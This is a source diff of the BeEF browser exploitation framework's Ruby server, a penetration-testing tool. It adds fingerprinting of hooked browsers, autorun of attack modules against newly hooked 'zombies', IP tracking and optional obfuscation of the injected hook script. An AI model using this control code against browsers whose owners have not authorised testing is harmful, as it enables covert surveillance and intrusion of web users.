# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -0,0 +1,81 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Constants
# @note The hardware's strings for hardware detection.
module Hardware
HW_UNKNOWN_IMG = 'pc.png'
HW_VM_IMG = 'vm.png'
HW_LAPTOP_IMG = 'laptop.png'
HW_IPHONE_UA_STR = 'iPhone'
HW_IPHONE_IMG = 'iphone.jpg'
HW_IPAD_UA_STR = 'iPad'
HW_IPAD_IMG = 'ipad.png'
HW_IPOD_UA_STR = 'iPod'
HW_IPOD_IMG = 'ipod.jpg'
HW_BLACKBERRY_UA_STR = 'BlackBerry'
HW_BLACKBERRY_IMG = 'blackberry.png'
HW_WINPHONE_UA_STR = 'Windows Phone'
HW_WINPHONE_IMG = 'win.png'
HW_ZUNE_UA_STR = 'ZuneWP7'
HW_ZUNE_IMG = 'zune.gif'
HW_KINDLE_UA_STR = 'Kindle'
HW_KINDLE_IMG = 'kindle.png'
HW_NOKIA_UA_STR = 'Nokia'
HW_NOKIA_IMG = 'nokia.ico'
HW_HTC_UA_STR = 'HTC'
HW_HTC_IMG = 'htc.ico'
HW_MOTOROLA_UA_STR = 'motorola'
HW_MOTOROLA_IMG = 'motorola.png'
HW_GOOGLE_UA_STR = 'Nexus One'
HE_GOOGLE_IM = 'nexus.png'
HW_ERICSSON_UA_STR = 'Ericsson'
HW_ERICSSON_IMG = 'sony_ericsson.png'
HW_ALL_UA_STR = 'All'
# Attempt to match operating system string to constant
# @param [String] name Name of operating system
# @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
def self.match_hardware(name)
case name.downcase
when /iphone/
HW_IPHONE_UA_STR
when /ipad/
HW_IPAD_UA_STR
when /ipod/
HW_IPOD_UA_STR
when /blackberry/
HW_BLACKBERRY_UA_STR
when /windows phone/
HW_WINPHONE_UA_STR
when /zune/
HW_ZUNE_UA_STR
when /kindle/
HW_KINDLE_UA_STR
when /nokia/
HW_NOKIA_UA_STR
when /motorola/
HW_MOTOROLA_UA_STR
when /htc/
HW_HTC_UA_STR
when /google/
HW_GOOGLE_UA_STR
when /ericsson/
HW_ERICSSON_UA_STR
else
'ALL'
end
end
end
end
end
end

View File

@@ -1,89 +1,78 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Constants
# @note The OS'es strings for os detection.
module Os
OS_UNKNOWN_IMG = 'unknown.png'
OS_WINDOWS_UA_STR = 'Windows'
OS_WINDOWS_IMG = 'win.png'
OS_LINUX_UA_STR = 'Linux'
OS_LINUX_IMG = 'linux.png'
OS_MAC_UA_STR = 'Mac'
OS_MAC_IMG = 'mac.png'
OS_QNX_UA_STR = 'QNX'
OS_QNX_IMG = 'qnx.ico'
OS_BEOS_UA_STR = 'BeOS'
OS_BEOS_IMG = 'beos.png'
OS_OPENBSD_UA_STR = 'OpenBSD'
OS_OPENBSD_IMG = 'openbsd.ico'
OS_IPHONE_UA_STR = 'iPhone'
OS_IPHONE_IMG = 'iphone.png'
OS_IPAD_UA_STR = 'iPad'
OS_IPAD_IMG = 'ipad.png'
OS_IPOD_UA_STR = 'iPod'
OS_IPOD_IMG = 'ipod.jpg'
OS_MAEMO_UA_STR = 'Maemo'
OS_MAEMO_IMG = 'maemo.ico'
OS_BLACKBERRY_UA_STR = 'BlackBerry'
OS_BLACKBERRY_IMG = 'blackberry.png'
OS_ANDROID_UA_STR = 'Android'
OS_ANDROID_IMG = 'android.png'
OS_ALL_UA_STR = 'All'
module Core
module Constants
# @note The OS'es strings for os detection.
module Os
OS_UNKNOWN_IMG = 'unknown.png'
OS_WINDOWS_UA_STR = 'Windows'
OS_WINDOWS_IMG = 'win.png'
OS_LINUX_UA_STR = 'Linux'
OS_LINUX_IMG = 'linux.png'
OS_MAC_UA_STR = 'Mac'
OS_MAC_IMG = 'mac.png'
OS_QNX_UA_STR = 'QNX'
OS_QNX_IMG = 'qnx.ico'
OS_BEOS_UA_STR = 'BeOS'
OS_BEOS_IMG = 'beos.png'
OS_OPENBSD_UA_STR = 'OpenBSD'
OS_OPENBSD_IMG = 'openbsd.ico'
OS_IOS_UA_STR = 'iOS'
OS_IOS_IMG = 'ios.png'
OS_IPHONE_UA_STR = 'iPhone'
OS_WEBOS_UA_STR = 'webos.png'
OS_IPHONE_IMG = 'iphone.jpg'
OS_IPAD_UA_STR = 'iPad'
OS_IPAD_IMG = 'ipad.png'
OS_IPOD_UA_STR = 'iPod'
OS_IPOD_IMG = 'ipod.jpg'
OS_MAEMO_UA_STR = 'Maemo'
OS_MAEMO_IMG = 'maemo.ico'
OS_BLACKBERRY_UA_STR = 'BlackBerry'
OS_BLACKBERRY_IMG = 'blackberry.png'
OS_ANDROID_UA_STR = 'Android'
OS_ANDROID_IMG = 'android.png'
OS_ALL_UA_STR = 'All'
# Attempt to match operating system string to constant
# @param [String] name Name of operating system
# @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched
def self.match_os(name)
case name.downcase
when /win/
OS_WINDOWS_UA_STR
when /lin/
OS_LINUX_UA_STR
when /os x/, /osx/, /mac/
OS_MAC_UA_STR
when /qnx/
OS_QNX_UA_STR
when /beos/
OS_BEOS_UA_STR
when /openbsd/
OS_OPENBSD_UA_STR
when /iphone/
OS_IPHONE_UA_STR
when /ipad/
OS_IPAD_UA_STR
when /ipod/
OS_IPOD_UA_STR
when /maemo/
OS_MAEMO_UA_STR
when /blackberry/
OS_BLACKBERRY_UA_STR
when /android/
OS_ANDROID_UA_STR
else
'ALL'
end
end
def self.match_os(name)
case name.downcase
when /win/
OS_WINDOWS_UA_STR
when /lin/
OS_LINUX_UA_STR
when /os x/, /osx/, /mac/
OS_MAC_UA_STR
when /qnx/
OS_QNX_UA_STR
when /beos/
OS_BEOS_UA_STR
when /openbsd/
OS_OPENBSD_UA_STR
when /ios/, /iphone/, /ipad/, /ipod/
OS_IOS_UA_STR
when /maemo/
OS_MAEMO_UA_STR
when /blackberry/
OS_BLACKBERRY_UA_STR
when /android/
OS_ANDROID_UA_STR
else
'ALL'
end
end
end
end
end
end
end
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -34,6 +24,9 @@ module BeEF
end
def setup()
print_debug "[INIT] Processing Browser Details..."
config = BeEF::Core::Configuration.instance
# validate hook session value
session_id = get_param(@data, 'beefhook')
(self.err_msg "session id is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(session_id)
@@ -118,6 +111,22 @@ module BeEF
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
end
# get and store the hardware name
hw_name = get_param(@data['results'], 'Hardware')
if BeEF::Filters.is_valid_hwname?(hw_name)
BD.set(session_id, 'Hardware', hw_name)
else
self.err_msg "Invalid hardware name returned from the hook browser's initial connection."
end
# get and store the date
date_stamp = get_param(@data['results'], 'DateStamp')
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
BD.set(session_id, 'DateStamp', date_stamp)
else
self.err_msg "Invalid date returned from the hook browser's initial connection."
end
# get and store page title
page_title = get_param(@data['results'], 'PageTitle')
if BeEF::Filters.is_valid_pagetitle?(page_title)
@@ -159,11 +168,11 @@ module BeEF
end
# get and store the system platform
system_platform = get_param(@data['results'], 'SystemPlatform')
system_platform = get_param(@data['results'], 'BrowserPlatform')
if BeEF::Filters.is_valid_system_platform?(system_platform)
BD.set(session_id, 'SystemPlatform', system_platform)
BD.set(session_id, 'BrowserPlatform', system_platform)
else
self.err_msg "Invalid system platform returned from the hook browser's initial connection."
self.err_msg "Invalid browser platform returned from the hook browser's initial connection."
end
# get and store the hooked browser type
@@ -175,11 +184,11 @@ module BeEF
end
# get and store the zombie screen size and color depth
screen_params = get_param(@data['results'], 'ScreenParams')
if BeEF::Filters.is_valid_screen_params?(screen_params)
BD.set(session_id, 'ScreenParams', screen_params)
screen_size = get_param(@data['results'], 'ScreenSize')
if BeEF::Filters.is_valid_screen_size?(screen_size)
BD.set(session_id, 'ScreenSize', screen_size)
else
self.err_msg "Invalid screen params returned from the hook browser's initial connection."
self.err_msg "Invalid screen size returned from the hook browser's initial connection."
end
# get and store the window size
@@ -214,6 +223,14 @@ module BeEF
self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasPhonegap
has_phonegap = get_param(@data['results'], 'HasPhonegap')
if BeEF::Filters.is_valid_yes_no?(has_phonegap)
BD.set(session_id, 'HasPhonegap', has_phonegap)
else
self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasGoogleGears
has_googlegears = get_param(@data['results'], 'HasGoogleGears')
if BeEF::Filters.is_valid_yes_no?(has_googlegears)
@@ -222,6 +239,14 @@ module BeEF
self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasFoxit
has_foxit = get_param(@data['results'], 'HasFoxit')
if BeEF::Filters.is_valid_yes_no?(has_foxit)
BD.set(session_id, 'HasFoxit', has_foxit)
else
self.err_msg "Invalid value for HasFoxit returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasWebSocket
has_web_socket = get_param(@data['results'], 'HasWebSocket')
if BeEF::Filters.is_valid_yes_no?(has_web_socket)
@@ -238,6 +263,62 @@ module BeEF
self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasSilverlight
has_silverlight = get_param(@data['results'], 'HasSilverlight')
if BeEF::Filters.is_valid_yes_no?(has_silverlight)
BD.set(session_id, 'HasSilverlight', has_silverlight)
else
self.err_msg "Invalid value for HasSilverlight returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasQuickTime
has_quicktime = get_param(@data['results'], 'HasQuickTime')
if BeEF::Filters.is_valid_yes_no?(has_quicktime)
BD.set(session_id, 'HasQuickTime', has_quicktime)
else
self.err_msg "Invalid value for HasQuickTime returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasRealPlayer
has_realplayer = get_param(@data['results'], 'HasRealPlayer')
if BeEF::Filters.is_valid_yes_no?(has_realplayer)
BD.set(session_id, 'HasRealPlayer', has_realplayer)
else
self.err_msg "Invalid value for HasRealPlayer returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasWMP
has_wmp = get_param(@data['results'], 'HasWMP')
if BeEF::Filters.is_valid_yes_no?(has_wmp)
BD.set(session_id, 'HasWMP', has_wmp)
else
self.err_msg "Invalid value for HasWMP returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasVLC
has_vlc = get_param(@data['results'], 'HasVLC')
if BeEF::Filters.is_valid_yes_no?(has_vlc)
BD.set(session_id, 'HasVLC', has_vlc)
else
self.err_msg "Invalid value for HasVLC returned from the hook browser's initial connection."
end
# get and store the value for CPU
cpu_type = get_param(@data['results'], 'CPU')
if !cpu_type.nil?
BD.set(session_id, 'CPU', cpu_type)
else
self.err_msg "Invalid value for CPU returned from the hook browser's initial connection."
end
# get and store the value for TouchEnabled
touch_enabled = get_param(@data['results'], 'TouchEnabled')
if BeEF::Filters.is_valid_yes_no?(touch_enabled)
BD.set(session_id, 'TouchEnabled', touch_enabled)
else
self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
end
# get and store whether the browser has session cookies enabled
has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
if BeEF::Filters.is_valid_yes_no?(has_session_cookies)
@@ -255,23 +336,29 @@ module BeEF
end
# log a few info of newly hooked zombie in the console
print_info "New Hooked Browser [ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
# Call autorun modules
autorun = []
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
if v.has_key?('autorun') and v['autorun'] == true
if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
BeEF::Module.execute(k, session_id)
autorun.push(k)
else
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
if config.get('beef.autorun.enable')
autorun = []
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
if v.has_key?('autorun') and v['autorun'] == true
target_status = BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name})
if target_status == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
BeEF::Module.execute(k, session_id)
autorun.push(k)
elsif target_status == BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY and config.get('beef.autorun.allow_user_notify')
BeEF::Module.execute(k, session_id)
autorun.push(k)
else
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
end
end
}
if autorun.length > 0
print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
end
}
if autorun.length > 0
print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
end
end

View File

@@ -1,92 +1,81 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Handlers
class Commands
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
@data = {}
# Handles command data
# @param [Hash] data Data from command execution
# @param [Class] kclass Class of command
# @todo Confirm argument data variable type.
def initialize(data, kclass)
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup()
end
# Initial setup function, creates the command module and saves details to datastore
def setup()
module Core
module Handlers
class Commands
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
@data = {}
# Handles command data
# @param [Hash] data Data from command execution
# @param [Class] kclass Class of command
# @todo Confirm argument data variable type [radoen]: type is Hash confirmed.
def initialize(data, kclass)
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup()
end
# Initial setup function, creates the command module and saves details to datastore
def setup()
@http_params = @data['request'].params
@http_header = Hash.new
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
.each {|key,value|
@http_header[key.sub(/^HTTP_/, '')] = value
}
@http_params = @data['request'].params
@http_header = Hash.new
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value|
@http_header[key.sub(/^HTTP_/, '')] = value
}
# @note get and check command id from the request
command_id = get_param(@data, 'cid')
# @todo ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
(print_error "command_id is invalid";return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
# @note get and check command id from the request
command_id = get_param(@data, 'cid')
# @todo ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
# @note get and check session id from the request
beefhook = get_param(@data, 'beefhook')
(print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
# @note get and check session id from the request
beefhook = get_param(@data, 'beefhook')
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
result = get_param(@data, 'results')
result = get_param(@data, 'results')
# @note create the command module to handle the response
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
command.session_id = beefhook
if command.respond_to?(:post_execute)
command.post_execute
end
#@todo this is the part that store result on db and the modify will be accessible from all the framework and so UI too
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
(print_error "command friendly name is empty"; return) if command_friendly_name.empty?
command_results = get_param(@data, 'results')
(print_error "command results are empty"; return) if command_results.empty?
# @note save the command module results to the datastore and create a log entry
command_results = {'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
end
# Returns parameter from hash
# @param [Hash] query Hash of data to return data from
# @param [String] key Key to search for and return inside `query`
# @return Value referenced in hash at the supplied key
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
# @note create the command module to handle the response
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
command.session_id = beefhook
if command.respond_to?(:post_execute)
command.post_execute
end
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
(print_error "command friendly name is empty";return) if command_friendly_name.empty?
command_results = get_param(@data, 'results')
(print_error "command results are empty";return) if command_results.empty?
# @note save the command module results to the datastore and create a log entry
command_results = {'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
end
# Returns parameter from hash
# @param [Hash] query Hash of data to return data from
# @param [String] key Key to search for and return inside `query`
# @return Value referenced in hash at the supplied key
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
end
end
end
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -61,13 +51,25 @@ module Handlers
# @note is a known browser so send instructions
else
# @note Check if we haven't seen this browser for a while, log an event if we haven't
if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}")
end
# @note record the last poll from the browser
hooked_browser.lastseen = Time.new.to_i
# @note Check for a change in zombie IP and log an event
if hooked_browser.ip != request.ip
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
hooked_browser.ip = request.ip
if config.get('beef.http.use_x_forward_for') == true
if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"]
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.env["HTTP_X_FORWARDED_FOR"]}","#{hooked_browser.id}")
hooked_browser.ip = request.env["HTTP_X_FORWARDED_FOR"]
end
else
if hooked_browser.ip != request.ip
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
hooked_browser.ip = request.ip
end
end
hooked_browser.count!

View File

@@ -1,106 +1,169 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Handlers
module Modules
# @note Purpose: avoid rewriting several times the same code.
module BeEFJS
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def build_beefjs!(req_host)
module Core
module Handlers
module Modules
# @note set up values required to construct beefjs
beefjs = ''
# @note location of sub files
beefjs_path = "#{$root_dir}/core/main/client/"
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
# @note Purpose: avoid rewriting several times the same code.
module BeEFJS
# @note construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|
js_sub_file_abs_path = beefjs_path + js_sub_file_name
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
}
# @note create the config for the hooked browser session
config = BeEF::Core::Configuration.instance
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_config = BeEF::Core::Server.instance.to_h
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def build_beefjs!(req_host)
config = BeEF::Core::Configuration.instance
# @note set up values required to construct beefjs
beef_js = ''
# @note location of sub files
beef_js_path = "#{$root_dir}/core/main/client/"
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note populate place holders in the beefjs string and set the response body
eruby = Erubis::FastEruby.new(beefjs)
@body << eruby.evaluate(hook_session_config)
end
# Finds the path to js components
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
def find_beefjs_component_path(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
end
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js)
beefjs_components.keys.each {|k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
# @note Load websocket library only if WS server is enabled in config.yaml
if config.get("beef.http.websocket.enable") == true
beef_js_sub_files << "websocket.js"
end
# @note antisnatchor: leave timeout.js as the last one!
beef_js_sub_files << "timeout.js"
ext_js_to_obfuscate = ''
ext_js_to_not_obfuscate = ''
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
ext_js_sub_files.each{ |ext_js_sub_file|
if config.get("beef.extension.evasion.enable")
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
# do not obfuscate the file
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
else
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
else
# Evasion is not enabled, do not obfuscate anything
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
}
# @note construct the beef_js string from file(s)
beef_js_sub_files.each { |beef_js_sub_file|
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
}
# @note create the config for the hooked browser session
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
unless hook_session_config['beef_public'].nil?
if hook_session_config['beef_host'] != hook_session_config['beef_public']
hook_session_config['beef_host'] = hook_session_config['beef_public']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
end
end
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note set the XHR-polling timeout
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
# @note set the hook file path and BeEF's cookie name
hook_session_config['hook_file'] = config.get("beef.http.hook_file")
hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
